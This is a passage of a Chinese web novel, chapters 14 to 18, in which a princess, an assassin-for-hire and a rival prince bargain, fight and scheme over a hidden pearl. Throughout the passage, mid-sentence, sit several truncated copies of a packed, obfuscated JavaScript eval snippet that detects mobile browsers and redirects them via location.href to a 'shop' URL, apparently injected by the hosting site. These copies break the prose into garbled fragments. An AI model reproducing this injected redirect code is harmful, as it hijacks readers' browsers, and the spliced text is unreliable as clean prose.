纪无涯微微垂下眸子,漆黑的眼瞳里看不出一点波澜。 “看样子缘楼这一年眼光不怎么样,你们这样三脚猫都敢出来接任务了。” 一人震怒,剩下二人纷纷附和起来。 “你什么人也敢造次!” “就是!掌门说了,但凡试炼合格者都可以接任务!更何况我们兄弟三人是楼主亲选的!” “你一个无名小辈,休得置喙我缘楼的事!” 纪无涯从腰间取出三枚银币,望向河对岸,对眼前的危险显然心不在焉。 不知她说了什么,对方才松开手。 看样子暂时不需要他这边帮忙。 三名杀手依次摆开架势,被他的无视彻底惹恼。 高呼一声,群起攻之。 正好现在纪无涯也没心情跟他们继续玩下去。 在他指尖一枚银币飞出击中其中一人胸口,眨眼间便过了数招。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492877|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪无涯轻松解决这边的杀手,软剑再出,下一秒尽数打伤或是割开剩下围攻他杀手的喉咙。 没有喘气的机会,踏浪直飞河对岸,稳稳落在李之夭跟前。 与此同时两把长剑出鞘直指纪无涯面门。 裴淮冷笑一声:“没想到你身边竟然还有这样的高手,你故意拖延时间,就是想等他来?” 李之夭捂着脖子不说话从地上站起来。 纪无涯道:“前朝的公主,这次保护费怎么算?” “你想要多少我给多少。” 此人向来收钱办事,今日追杀,就算没有裴淮,她早就死好几次了。 钱能解决的问题都不是问题。 她觉醒之后并没闲着,想方设法私底下做了生意和发展自己的势力,短短两年,也让她有笔不菲的收入。 裴淮闻言嗤笑:“原来你们二人并不是主仆关系,想要钱?她可以给你的,我也可以给你。” 他将纪无涯上下打量一番,发出邀请,“你身手不错,若能来我手下做事,定不会亏待你。” 纪无涯收起软剑,饶有兴趣问道:“你能出多少?” “你给她多少我出一倍。” 裴淮升出一根手指头,言语诱.惑,“怎么样?你比我从缘楼找来的那三个废物强多了。” “缘楼?不过三个刚入门弟子,过了考核便出来接任务,让这样的人砸了招牌,还真是得不偿失。”纪无涯眼眸从裴淮身上收回来。 书中有段剧情,便是裴淮在大魏曾结识一名杀手,此杀手武功高强,很快就成为他的左膀右臂,是他的心腹。 但他身份一直是暗卫,代号无,因此并无多少笔墨去描写。 最后这名暗卫在执行刺杀秦立山任务之前,突然受伤,但他去世前存着一口气,将大魏粮草烧得一干二净,忠心耿耿,葬身火海,赚得不少人眼泪。 没了粮草的大魏,如困兽犹斗,只能在边城死守,一点一点被北唐蚕食,最后秦立山战死沙场。 心中警铃大震,莫不是那名暗卫就是纪无涯? 可书中说那暗卫是裴淮在大魏皇宫结识,并不是在凤山往返京城外的河边,难不成真因为她,导致书中剧情发生了改变。 剧情时间节点虽然做出了改变,可该发生的还是会发生。 若是纪无涯帮他,裴淮后面再跟苏月清联手,才是真正的无敌。 14. 雇主 第14章 现在裴淮已经找到苏月清,倘若将纪无涯拉拢在身边,那么裴淮往后的路必将坦荡。 知晓剧情朝书中写好的方向去走,李之夭感到恐惧和仓惶。 她立刻红着眼眶委屈地望向跟前的人,说话语气都带着几分哽咽:“纪无涯……” 闻声回头是一双毫无波澜眼眸落在身上,带着惯有的疏离,瞬间将他们之间的关系拉远。 “我出双倍。” “三倍。” 裴淮想都不想再次增加筹码,一脸势在必得,不忘劝说。 “你可要做好选择,我不想瞒你,我在北唐身份地位可比她尊贵,她不过一名前朝公主,在宫中尚且如履薄冰,现在能给你钱,可日后她能给你什么,本王能帮你的更多。” 纪无涯将目光从李之夭身上挪开,往前迈了一步。 李之夭下意识想伸手拉他衣袖,存下来的理智又制止她的动作。 他们相识时间尚短,双方都站在对立面,一个立场随时会变亦正亦邪的人,怎么保证后面不会被男主策反,转头将刀口对向她。 不! 事实是纪无涯就没想杀她的念头,她又怎么还会甘心走后面的剧情。 她要救的从来都是自己。 “纪无涯,你想要什么?我帮你找。” 纪无涯步子顿了顿,并没回头,他平静地看向前方,说出来的话跟他人一样平静。 “我的要求,早就跟公主你提过了。” 他还是往前走了。 走向原文的设定剧情,毫不犹豫站在裴淮身边。 两年的累积,还是敌不过男主么? 所有对他有利的人,有利的事,哪怕他经历挫折,最后都会站在他身边。 是不是她做什么都是徒劳。 像今日三言两语,纪无涯就选择站在了他那边。 “王爷!大魏秦立山带人来了!” 有探子赶来禀告。 裴淮目光一狠,“杀了她!” “珠子你不要了吗?” 裴淮冷笑:“没有你,本王照样能找到。” “因为苏月清?” 女主小时候曾救过被人欺负的裴淮,苏月清准确来说是北唐人,后来家中遭难,逃难过程中失去了儿时记忆,一家人辗转来到大魏隐姓埋名。 后来苏月清的家人一夜之间全部失踪,她跟着城中一位曾在宫里绣房待过的老媪生活。 男女主之间的渊源,亦是两人间牢不可破的羁绊。 久别重逢,还是男方对一人的多年暗恋。 他们注定是天生一对。 触及到他的逆鳞,裴淮目光发狠:“就凭现在的你也想威胁本王。” “不是威胁,常言做人留一线,你我互为鱼俎,又怎么哪日会不会改变。” “本王从不给自己留后顾之忧,杀了你就不会再次改变什么。”裴淮看向纪无涯,神色稍缓,“本王的条件总比一个前朝的余孽好些,给你三日的时间考虑,若考虑好了,那便来找我。” 纪无涯飞身离开,裴淮不想现在正面跟大魏的禁军对上,走的也匆忙,只留下一名善后的杀手。 杀手刀落下李之夭下意识闭上眼睛。 但听到一声惨叫,意料之中的疼痛并没传来。 李之夭睁眼,杀手咽气倒在地上,随他一起落在地上的还有一枚染血的银币,静静躺在血泊中。 而她跟前站着去而复返的纪无涯。 秦立山等人人影越来越近,纪无涯沉默望她半晌,漆黑的眸子落满盛夏的光,随着眼帘一上一下明明灭灭。 “怎么又哭了。” “哭还有罪了?”李之夭胡乱抹了把脸上的眼泪, “我有职业道德,你答应帮我做的事还没做完,我对他提出的条件没兴趣。” 他随口说到,似乎是在解释自己为何去而复返。 “你跟从前传闻里有些不一样。” 李之夭吸了吸鼻子。 “哪有不一样了?” 纪无涯沉思半晌,目光像看过时光岁月,沉沉的,彷佛陷入前半生亘长的回忆里。 “传闻你应当是娇纵任性,肆意妄为,目中无人,狂妄自大的。” 这不就是书中所述她的性子。 “你只是听闻,又没见过。” “不,我见过你一面的,只是时间太久了。” 他的话声音很轻,久到回想起来都要花费好长时间。 那时候的她已经是大魏的公主,一瞥一笑明艳艳的,身边跟着一群人,走到哪排场就到哪。 现在看她的侧脸跟初见她一样,面上落着光,目光在远方。 若现在是她的性子,经历了什么才让她变成后来的性格? “你说什么?” 李之夭望着匆匆赶来的秦立山,他的声音太轻,份量未知。 “没什么,我说秦大统领来接你回去了。” 他弯腰捡起地上的银币,顺手在杀手衣服上拭去血渍,擦干净后才收起来。 “要跟我走么?” 怕人误会,纪无涯补充道:“护国寺的事结束再送你回去。” 面对纪无涯的邀请李之夭是心动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492878|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为还有三日。 若是放任纪无涯自己一个人离开,保不准他转头就投靠了裴淮。 珠子在她手里,横竖不过一炷香的时间。 禁军越来越近,李之夭下定决心点头。 “我跟你走。” 若是跟秦立山碰头,他不可能放任自己离开,就算同意,这件事也会被清武帝知道引来无端揣测。 最好的办法就是让她再佯装被劫走。 纪无涯当着禁军的面将李之夭打晕,将她抱起吹响口哨唤来枣红马飞驰而走。 秦立山看见运功追上来。 “大胆贼人!快放下公主!” 他拔剑刺向纪无涯,纪无涯从怀里扯出面巾覆在面上,抽出腰间软剑挡下对方的进攻。 双腿夹紧马肚跑得更快些。 马继续往前跑,但他们二人须臾间便在空中交手数个来回。 “贼子为何不敢以真面目示人!束手就擒本将留你全尸!” 纪无涯不回他的话,最后二人对掌,以不分伯仲收场,气流将他们前后震开,纪无涯借势回到马背上,策马离开。 留下秦立山在原地。 “快派人跟着他们离开的方向追去!我得将此事禀告皇上!” * 女子倚靠在美人榻上,周围红纱轻荡,两旁烛火摇曳,座下弟子个个神色恭敬。 门口阴影渐至,一名莫约十二岁女孩笑嘻嘻飞扑到女子身上,搂着她的腰晃了晃开始撒娇。 “楼主,你寻我?” 女子从旁边侍女手里接来一封书信。 “雪,已经有十三的消息了,我不管他在折腾什么,但昨夜大魏皇帝已派人加急送信来,皇家的买卖咱们做子民自是义不容辞,你速带我的信过去找到十三,让他把大魏的宿宁公主平安带回去,然后你带他来见我。” 接过书信雪便迫不及待想打开,女子双指抵住她的脑门往后戳了戳。 “你若是私自打开……”她故意顿住,拖长了尾音,“呵,老娘让十三罚你吃莲子。” 雪悻悻收好,皱起一张脸,瞪着圆溜溜的眼睛。 “我才不要吃莲子!莲子最苦了,我这就去!” 她说完一溜烟跑了,女子叹了口气,此时座下有人站出来愤愤道:“楼主,为何让十三去?前段时间他私自离开缘楼进京,恐已生出叛离的心,不让雪将他带回来,反而让他去找宿宁公主,若是出了差池,朝廷那边怕是要踏平缘楼。” 女子不为所动,懒懒道:“他身上两道毒,你怕什么,三日后七月初一就是毒发的日子,你怕他不回来么。” 15. 负债 第15章 六月廿七,残月夜。 林中燃起的火堆噼里啪啦的,火堆上烤着两条鱼。 李之夭靠在树下还未醒来,纪无涯在她不远处的暗影处立着,对面还有一人。 “师兄,门内传来的消息,说朝廷的人去了缘楼,要他们出面去寻宿宁公主。” 他目光落在纪无涯身后,疑惑不解,“师兄,为何不让她回去,带在身边就是个祸患。” “她认得老和尚,药珠送进了宫里,若不是老和尚的意思,想必送珠子的人是别有用心。” 寻方恍然:“师兄怀疑玄心大师将珠子送到了她手上?” 纪无涯轻轻应了一声,并做出解释。 “护国寺内的人大部分都认得她,她无缘无故让我将她送去护国寺,应当是怀疑珠子的事,假设珠子在她手里,放她回去想从她手里拿到,很是不易,我已在她身上吃过几次亏,总归留在自己眼皮底下才放心。” 他转身望去,烤鱼沁出香味,往下滴落的油时不时将火炸开,“她认识老和尚,倘若其中曲折,也能尽心尽力。” “寻方明白了,只是师门那边……” “他们派出去的人是谁?” “据说白日离开的人是小十九。” 十九啊…… 纪无涯想了想,竟然不是派别的人出来。 楼主知晓十九缠他,派她过来越是故意的。 李之夭是被烤鱼的香味叫醒的。 一旁的纪无涯早就自己吃上了。 架子上还剩一条,她腹中饥饿,一日未曾进食,眼前的烤鱼在疯狂引.诱她的味蕾。 她吞了吞口水,目光直勾勾盯着烤鱼。 “纪无涯,这里是哪里?” 纪无涯瞥了一眼,将另一条串好烤熟的鱼取下来递给她。 “城外。” 李之夭饥肠辘辘,接到手迫不及待咬了一口,被热气烫得斯哈斯哈,不得不空出一只手朝嘴里扇风。 “一两。” 纪无涯的声音飘来,李之夭还以为自己出现了错觉。 “什么?” 他指了指李之夭手里的鱼,抬眸再次重复了一遍:“鱼,吃的,一两。” 得,这人把自己带着一起走,并不包吃包喝。 李之夭剃掉鱼刺,狠狠咬了一口。 “你要现在想要钱,去银来庄,找掌柜,就说是我让你去的,上次你去他见过你。” 简单来说,就是现在她身上没钱。 上次找耿进才拿了六百两还他在宫里出手救她的报酬,结果忘记让耿进才也给她点多余的钱财带在身上。 “白日我帮你解决那些杀手,算便宜点,你也是老顾客,七百两,去护国寺的六十两还没给,外加下山你骑马十两,我牵马的苦力费十两,加起来一共七百八十一两。” 李之夭做梦都没想到,她虽然不差钱,但自从昨晚开始,就一直在欠钱,反倒越欠越多。 一个不缺钱的人,负债累累。 地狱笑话。 光那些人,就七百两,在杀手行业来说,有点小贵。 纪无涯挑出鱼刺,声音冷得像个没感情的工具在表达他目前想法。 “本人支持十日内支付全部费用。” 传到李之夭耳朵里,就变成了他话里话外分明在说——知道你现在没钱,但我知道你哪里有钱,在宫外的这段时间你还有用得到我地方,需要花钱,所以允许你先欠着…… 但收钱的地方会一一记下,别想赖账! 李之夭气极反笑。 “行,你真行,纪无涯,你真行。” “我不做吃亏的买卖。” 此时一只信鸽降落,停在纪无涯的手上,他不避开李之夭,直接当着她的面打开,看完后抬眸将纸条展示在她眼前。 ——吾三百两,取宿宁公主李之夭性命。 李之夭看着字迹有些眼熟,但一时半会儿想不起来在哪里见过。 纪无涯不做声,却将手中串鱼的木棍一转架在她脖颈上,收到信的人明显在等她表态。 李之夭瞬间瞪大双眼委屈控诉。 “纪无涯,你无赖!你不想知道那颗珠子的下落了?” “珠子总归在宫中,它又不会自己跑了,少了你我大不了再逮个人问问就知道了,雇主有诉求,我接单的,自然要尽力满足。” 纪无涯抬眸往她,火光下,她的眼睛亮晶晶的,蒙着一层雨雾,随时要落下来一样。 “你黑心钱两头赚,赚得良心不痛么?” 他一脸淡然神色疏离,出口是理所应当。 “他从我手里买你命,你从我手里买他命或是买你命,收钱办事,并不违背江湖规矩。” 她以为她算是半个黑心肝的人,没想到有人两头赚,还理直气壮的。 简直是乌龟吃煤炭,黑心王八! “三百五十两,买我命,欠着。” 出门在外,身不由己。 她吃得眼前亏。 女配她啊,花钱买命。 “成,现在一共是一千一百三十一两,看信的价格当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493939|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次赠送不收了,不接受抹零。” 李之夭恨自己为何不是从小习武,这样还能将人打一顿。 他们目前在城门外的树林里,抬头就能望见城里腾空飞得老高的烟火在天上炸开。 烟花炸了一段时间就结束了。 李之夭慢条斯理吃完手里的烤鱼,一脸满足地去河边洗手,再趾高气昂站在纪无涯面前。 “今日先别欠着了,带我回城里,我要换身衣服。” 她身上的衣服经过两日折腾,早就皱巴巴的,有些地方还破了。 纪无涯担心她使坏,拒绝道:“还能穿,再忍几天。” “本公主一刻都受不了了!我命令你现在立刻带我回城里,我要重新换一身衣服!”重操旧业,撒泼打滚耍赖的本事依旧熟练。 “现在城中风声紧,公主不想回宫里的话,暂时不行。“ “不听不听不听!我就要回去!纪无涯,我花钱雇你送我回去,现在我是你雇主,你这个接单的就要尽力满足雇主要求!” 他一噎,她拿他方才的话来堵他。 原本心安理得的人,突然开始闹腾,指不定憋着什么坏水。 纪无涯想再次开口拒绝,谁知她眼泪直接唰唰掉了下来,哭得委屈。 “我还没受过这种待遇,衣服脏兮兮的,穿着难受,一难受我就想哭,我只想换件衣服,我什么都没做,为什么不给我换,而且话都是你自己说出来的,怎么,我一天给你送钱,我也算你半个金主了,纪无涯,你就是这样对你的老顾客,你的金主吗,啊我真是要气死,现在要疯了!” 是个黑心肝的爱哭鬼不假,现在倒像传闻里的任性公主了。 他拗不过,本着职业操守,还是带李之夭进城再次去到银来庄。 刚进银来庄,出门迎接的还是上次那名小二,得到指示后带他们去后院,来到廊下,院中有沁人花香。 李之夭从小二呈上来的托盘里取出两块帕子,一块留给自己,一块递给纪无涯。 纪无涯想起上次经历,这次虽有迟疑并未拒绝。 见李之夭捂自己的鼻口,他犹豫了一会儿点名要李之夭手里的那块,两人互换帕子后才捂住鼻口。 刚走没两步,纪无涯再次感觉头晕目眩,他指着李之夭,艰难抬起手来。 “帕子……” 话没说完,他两眼一黑倒在了地上。 李之夭丢了帕子,步子轻快地走到他旁边,用脚踢了踢他的胳膊。 “我在河边便服了解药,跟本公主玩心眼子,你差得远了。” 16. 买卖 第16章 “主子,你来了。” 耿进才、金三娘上前行礼。 金三娘目光落在躺在地上的纪无涯,好奇探究道,“主子,为何不随秦大统领回宫,反而现在要继续跟着他?” 李之夭坐到石凳上,回答她:“经历这事回宫后想出来可就难了,三娘,麻烦你找人帮我烧点热水,再给我备套新衣服。” 金三娘离开后,李之夭对耿进才道:“你放烟火寻我,所为何事?” “主子,北唐使团九月才至京城,但属下的人发现今日信使离开后,北唐三皇子已进了城,如今城内还有众多杀手,属下担心主子在外面恐怕不安全。” 三皇子偷偷带人进了京城,过不了几日,就会遇上从骊山回来的苏月清,苏月清回宫途中遇到被人欺负的裴执,仗义为他说了几句话。 裴执凭借苏月清身上的玉佩,识破她见过裴淮,两人纠缠之际,一直偷偷跟着苏月清的裴淮现身。 让裴淮认祖归宗的事,她才不乐意看到。 “明日傍晚你去找府尹报官,就说你做了一个名字叫卫客的人的生意,但没曾想被对方坑了一笔钱财,你去住处早已人去楼空,你这几日守在城门,没有看到他们出城,府尹届时定会帮你排查,抓到人后官府派人来寻你,你暂时称病几日,不要抛头露面,等过了七日再去牢中,把人放出来。” 耿进才点头,“属下记下了。” 李之夭想起白日事还有些心有余悸,“你找几个身手好的人给我当暗卫,机灵点的,守在宫外就行。” “好。” “他的事结果怎样了?”李之夭朝躺在地上的人方向微微仰头。 耿进才拱手:“只查到一点,据说他原本不叫纪无涯,无涯是他去了护国寺之后跟在玄心师父身边,玄心师父取的,在护国寺的生活并不怎么顺心,跟当时在寺庙里修行的世家子弟常有矛盾,他九岁的时候,藏经阁失火,他便去了山顶的别院,没下来过,后来他十岁冬季,玄心师父不告而别云游外出,他也就离开了护国寺,什么原因并不知晓,后面去了哪里,属下无能,暂时尚未查出来。” 纪无涯跟玄心之间的关系比她想象中更加深厚。 他继续汇报:“机关师父属下已派人南下去寻,不出两日便会有结果。” “图纸到时候托人送进宫里给时雨春夏就成。” 耿进才得办事效率,已经是最快的结果了。 两年前从燕国皇宫叛军手里救下他,率先让耿进才来到大魏建立银来庄,和金三娘一起经营她在大魏最重要的经济支柱和情报网。 很快不久将来,银来庄就能遍布大魏和北唐的每一个角落,此后她便占尽先机,书里的东西将对她没有任何影响,让她平安过完这一生。 金三娘适时上前来告诉李之夭热水备好可以过去了,一切方式都是按照她喜欢的来。 桂花的香气,以及牛乳。 临走前李之夭告诉耿进才:“对了,你给我拿两千两的银票来。” 耿进才没过多问,立刻喊小二去准备。 李之夭望了望还躺在地上的纪无涯,手帕上的药效有点猛,一时半会儿他醒不过来,耿进才试探道:“主子,此人……” “就让他继续躺这里吧,不用管。” “可是……会不会挡路?” 李之夭声音轻飘飘传来:“跨过去不就行了,怕醒来再给他多捂点。” 后面银来庄又迎来几单生意,借钱的、拿钱的、当家当的来来往往。 纪无涯横躺在地上无人理会。 有人绕开他,若遇上财大气粗的直接从他身上跨了过去。 导致后面出去的人都在传有人还不上银来庄的钱财被他们弄死了,尸体都还在后院摆着。 此话正巧被来到门外的裴淮和杨刻听到,引路的是一名布衣百姓。 “这就是大魏最好的钱庄?怎还随便杀人。” 裴淮坐在轮椅上,由杨刻推着,闻言不禁发出疑问。 旁边带路的人汗颜,但点头:“正是,利息也高,而且交给他们保管,很是妥当,从未出过差错。” 虽有迟疑,见来往人不在少数,便将信将疑地信了。 杨刻给他几两碎银布衣便头也不回地溜了。 守在门口的小二见两人打扮低调,坐在轮椅上的公子气度不凡,眉宇间透露一股贵气,多年识人经验告诉他,此人定是大客户。 小二上前迎道:“客官,不知有什么能帮到的?” 他们进去后四处打量,门店设有一个柜台,柜台里坐着一名老师傅应当是鉴宝师,正在用镜片查看手中的一只小青铜鼎,柜台上还摆放着几摞书,柜台外设有一张圆桌,圆桌上摆了算盘和一个青花瓷瓶,瓶子里只插了一只梅花。 老师傅原先行走江湖,名唤骆寒山,常常劫富济贫,见多识广那双眼睛看过的宝物数不胜数。 曾经还潜入北唐的宝库盗得一副价值不菲的古画,解决了北唐最南边的贫民温饱问题。 后上了年纪金盆洗手靠打零工生存。 两年前被李之夭带着耿进才寻到,来了银来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503517|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄做鉴宝师。 银来庄铺面里的柜子陈列各式各样古玩宝物,东西多多少少是别人当出来换取钱财的物件。 说不上每一件都价值连城,但各有千秋和价值,陈列在此方便有人看到重新卖出一个好价钱,若有人留话要求他们保留后面再赎回的就不会摆出来。 裴淮道:“你们掌柜呢?我有一桩买卖,不知做不做?” 闻言骆寒山抬眸又垂了下去,出声道:“掌柜在后院待客,二位若是做生意,不用麻烦掌柜。” 杨刻不满出声:“你们怎么这样,我家主子说了是笔大生意!” 骆寒山分散得注意力很快又回到自己手上,冷嗤一声:“谁来都能说是笔大生意吵着要见掌柜,掌柜岂不是不管真真假假都要见上一见?” “你……” “好了,杨刻,他们说的有理。”裴淮咳嗽两声打断他,“我绝不弄虚作假,不信请掌柜跟我见上一面,就知真假。” 裴淮说话的时候,故意露出北唐的金腰牌,骆寒山走南闯北见识广,曾在北唐见过,一眼认出此物来历,示意小二去后院通传。 没过多久小二小跑来道:“公子,掌柜有请。” 裴淮他们来到后院,一眼瞧见躺在地上的纪无涯。 白日曾拉拢的对象,却躺在这里。 难不成他们说的人就是纪无涯? 廊下坐着耿进才,从他们进门就一直在互相打量彼此,自然注意到他们的目光停留在纪无涯身上时的诧异,轮椅上的人虽面不改色,也掩藏不了他们认识的事实。 耿进才捏着下巴上的胡子,挥手让身边候着的小厮俯身,在他耳边低声几句让小厮退下。 杨刻立即上前将纪无涯扶起来,食指探了探他的脉搏,还有气。 “你就是掌柜?” 杨刻一副兴师问罪地架势,语气不善,“此人是你们干的?” 耿进才迎上前,赶忙跟自己撇清关系:“哎哟,你们认识啊?这公子来的时候,没走几步,就倒在这里睡了过去,叫都叫不醒。” “放屁,我看就是你们搞的鬼!” 就算歪打正着拆穿,耿进才面不改色理直气壮回怼道:“你又没亲眼看见,怎么就断定是我搞的鬼,饭可以乱吃,话不能乱讲。” “掌柜说的是。” 裴淮出声再次制止,对耿进才说话也没道歉的意思,一副高高在上的样子。 “这次我们二人到访,有一笔买卖问你做不做?” “买卖?” “正是,一笔买卖。” 17. 算盘 第17章 小二过来通传说此人是北唐皇室的人,看面容并不是三皇子裴执,应当是北唐的其他王室贵族。 但跟北唐人做生意,耿进才素来是不屑的。 燕国尚存时,北唐可没少在边关搞小动作引得两国交战,后更甚想联合大魏一起拿下燕国,若非当今圣上连慎从中斡旋,早让北唐得逞,何苦后来嫁妹去他乡,就连如今公主也跟着遭罪。 要不是牵扯到情报网,他也不会把铺子开到北唐去。 好在公主明里,并未被旧事恩怨所困,反倒带他们在大魏打出一片天来,在乱世里有钱财傍身,去哪都是香饽饽。 合作买卖的事还是得问过银来庄真正的掌权人才行,已派小厮去通报,他尽可能套出点口风才是。 “你想如何做?” “不出三日,我一定将东西给掌柜的送来,都说银来庄是大魏第一钱庄,你我皆是生意人,赚钱生财,想必掌柜不会不要,更何况这种白白送来的。” 裴淮慢慢道,“掌柜可敢接这笔买卖?” 耿进才皱眉试探道:“是何物?又如何送来?” 现在此人两手空空打包票,一脸势在必得的样子。 “这个你不用管,你只要准备好马车和人力,东西到你手上,我只要四成,剩下六成全是你的。” 若是大买卖,给他让六成,自己只要四成,只怕是东西不好拿或是拿了必将出事。 耿进才赔笑道:“这么大一笔买卖,公子只要四成,不会是什么见不得人的买卖吧?” “钱庄的掌柜还怕财物来源不正当么?” 裴淮反问,他有足够的把握,在三日内拿到东西。 “这件事兹事体大,容我去问问东家。” “不必了。” 金三娘声音传来,随她一同前来报信的小厮,以及换了鹅黄色长裙,戴着幕离的李之夭。 小厮通报说有北唐的人来了,主子坐着轮椅,李之夭瞬间猜到是裴淮。 在宫里受的伤,现在让人推个轮椅到处跑。 没想到自己找上门来。 裴淮见过李之夭,认得她声音,所以接下来的全部话都是由金三娘代为转达。 “来的路上就听说你们想谈笔买卖,且让利六成,就是不知二人有何筹码或者底气能空口无凭的让我们相信你们说的是真的。” 金三娘说完看向李之夭,随后坐到主位上。 裴淮推动轮椅轮子上前,眼神授意杨刻。 “以我在北唐名下的一十二间酒楼和在北唐大大小小铺子十五间,一季盈利共计三十六万两白银,不知这条件能否空手跟你银来庄谈买卖?” 杨刻将纪无涯放在一旁的木椅上,从怀里掏出一叠契约,让金三娘检验真伪。 “上面的铺子皆可查证,东家人的名字都是我裴淮。” 裴淮目光紧盯金三娘,话语间甚是得意,“都是生意人,眼光自然不会差,我说有大买卖,就有大买卖。” 契约上人的名字确实是裴淮无疑。 这笔买卖应当跟他想找的那颗珠子有关。 现在纪无涯先不说还未曾归顺于他,裴淮如何不通过她找到那颗珠子。 后面必定牵扯到苏月清,但珠子一事总让她觉得有些不对劲。 她俯身对金三娘嘀咕几句。 金三娘道:“公子想跟我银来庄做买卖,我同意,能力范围内的条件我们尽力满足,但我银来庄也不是听人凭空打包票就什么都应下的。” 她美眸一转,拿起放在一旁的小香扇轻轻摇了起来。 “尽管你有那些铺子,也说明不了什么,裴公子可懂三娘我的忧心?” 同在生意场上混过,话不用说太明白也知道对方的意图。 他将商铺的契约全部推到金三娘眼前。 “我自是知晓,倘若是我欺骗你们银来庄,这些铺子都归银来庄所有,以此为凭,不知贵庄是否愿意。” 金三娘也不跟他含糊,将契约全都收下,转交到李之夭手里。 李之夭再次确认了一遍契约没有问题,名字信息跟目前手上掌握的情况都一致才冲金三娘点了头。 “三日为期,倘若没有问题,我们看到货,再将这些铺子还给你。” 守在一旁的杨刻讽刺道:“胃口真大,你们银来庄吃得下么,倘若到时候你们不归还,说辞岂不都长在你们身上。” 裴淮并未阻止他说这样的话,因为提出做生意的是他,主动押铺子的也是他,还是全部押在了里面。 契约凭证全在银来庄手上,到时候对方不愿归还,真就钱财两空。 带杨刻过来,某种意义上,他是最忠心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们买卖不在良心在,倘若出事,银来庄还得背上通敌卖国的罪名。 尽管两朝商贸有往来,但哪有这样把属于大魏的钱财往人家金库里送的。 而且还有瞒过户部度支,光是打点准备一切都能花上二成。 这就是裴淮言之凿凿说给他们的六成,到头来双方都得四成,且不说花费的人力物力,最后到手只有三成,而他那边却什么都不用干,净赚一成。 裴淮如意算盘打得真响。 18. 威胁 第18章 李之夭并未出声质疑,他们也就佯装不知应下了。 临走时,金三娘看杨刻想把纪无涯带走,她气不过,指着杨刻把人留下。 “凭什么?” 虽然纪无涯还未答应,但杨刻已经默认把他归为自己人,跟在璃王身边,总好过在外的打打杀杀。 “就凭这小子私闯我银来庄后院,怎么?他是你们的人?” 金三娘话锋一转,“若是你们的人,裴公子就得给我个说法了,前堂明明写了非邀请不得擅自闯后院,安得是何居心?” 杨刻据理力争,拽着纪无涯不放。 “我们进来的时候可没有看到有这样一块字牌!你这明明是想扣人!” “谁说没有!不信你们出去的时候瞧瞧。” 现在不是跟银来庄撕破脸的时候,他们出来的时间够久了,裴淮指的让杨刻把人放下,主仆一同出了后院。 路过前堂的时候,骆寒山将靠背的牌子从身后抽出来,放在柜台前,顺便挑衅他们一眼。 牌子上确实写着‘非受邀不得擅闯后院,后果自负’的几个大字。 杨刻指着半天气不打一处来。 裴淮脸都黑了,冷哼一声让杨刻带着自己离开。 “杨刻,你想办法进大魏皇宫给苏月清送个口信,让她务必办到,不然就别想知道她的身世了。” 夜色无边,夜市忙碌到天明,小摊贩才收摊回家休息,换上新的一批商贩,变成早市,刚苏醒的京城走街串巷是叫卖声,清脆的木棒槌敲击声一阵一阵飘来。 纪无涯苏醒的时候捂着发疼的脑袋,下意识打量四周,发现他还是在院子里,依旧是躺在地上,只不过被人挪到了树根下。 露水从绿藤上滑落,滴在他脸上,冰冰凉凉,夏季的热浪卷着风铺面而来。 他揉着酸疼的胳膊起身,李之夭刚好推开窗户,吸引他的注意。 李之夭趴在窗台上,一身鹅黄色长裙,头上绑着发带都是同色系的。 她背对着太阳,光阴幢幢,她弯眼笑着。 “早啊。” 纪无涯微微一怔。 下一秒李之夭咬了咬唇,装作无辜地样子,“银来庄的客房要收钱,我昨晚就没管你了,你不会怪我吧?” 纪无涯敛回目光,“不会。” 李之夭拿出一个精致的木盒子,冲他招了招手示意他过去。 盒子里面放着一沓银票,还有些许碎银,银票加上碎银,数目正好是昨日她欠下的金额。 纪无涯将碎银取出来,盒子里的银票原封不动放回里面。 